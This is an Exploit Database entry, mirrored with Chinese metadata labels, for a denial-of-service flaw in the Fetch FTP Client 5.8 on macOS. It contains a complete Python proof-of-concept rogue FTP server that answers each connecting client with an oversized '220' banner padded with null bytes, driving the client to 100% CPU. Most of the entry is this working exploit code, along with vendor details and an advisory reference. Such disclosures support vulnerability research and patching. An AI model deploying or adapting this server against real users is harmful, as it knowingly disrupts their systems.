Fetch Softworks Fetch FTP Client 5.8 – Remote CPU Consumption (Denial of Service)

• Exploit Database
• 17 阅读

• 作者： LiquidWorm
  日期： 2022-02-02
• 类别：

  • local
  平台：

  • macos
• 来源：https://www.exploit-db.com/exploits/50696/

• # Exploit Title: Fetch Softworks Fetch FTP Client 5.8 - Remote CPU Consumption (Denial of Service)
  # Exploit Author: liquidworm
  
  #!/usr/bin/env python
  #
  #
  # Fetch Softworks Fetch FTP Client 5.8 Remote CPU Consumption (Denial of Service)
  #
  #
  # Vendor: Fetch Softworks
  # Product web page: https://www.fetchsoftworks.com
  # Affected version: 5.8.2 (5K1354)
  #
  # Summary: Fetch is a reliable, full-featured file transfer client for the
  # Apple Macintosh whose user interface emphasizes simplicity and ease of use.
  # Fetch supports FTP and SFTP, the most popular file transfer protocols on
  # the Internet for compatibility with thousands of Internet service providers,
  # web hosting companies, publishers, pre-press companies, and more.
  #
  # Desc: The application is prone to a DoS after receiving a long server response
  # (more than 2K bytes) leading to 100% CPU consumption.
  #
  # --------------------------------------------------------------------------------
  # ~/Desktop> ps ucp 3498
  # USER PID%CPU %MEMVSZRSS TTSTAT STARTEDTIME COMMAND
  # lqwrm 3498 100.00.5 6008123654488 ??R 5:44PM 4:28.97 Fetch-5K1354-266470421
  # ~/Desktop> 
  # --------------------------------------------------------------------------------
  #
  # Tested on: macOS Monterey 12.2
  #macOS Big Sur 11.6.2
  #
  #
  # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
  # @zeroscience
  #
  #
  # Advisory ID: ZSL-2022-5696
  # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5696.php
  #
  #
  # 27.01.2022
  #
  
  import socket
  
  host = '0.0.0.0'
  port = 21
  
  s = socket.socket()
  s.bind((host, port))
  s.listen(2)
  
  print('Ascolto su', host, 'porta', port, '...')
  
  consumptor= '220\x20'
  consumptor += 'ftp.zeroscience.mk'
  consumptor += '\x00' * 0x101E
  consumptor += '\x0D\x0A'
  
  while True:
  try:
  c, a = s.accept()
  print('Connessione da', a)
  print('CPU 100%, Memory++')
  c.send(bytes(consumptor, 'UTF-8'))
  c.send(b'Thricer OK, p\'taah\x0A\x0D')
  print(c.recv(17))
  except:
  break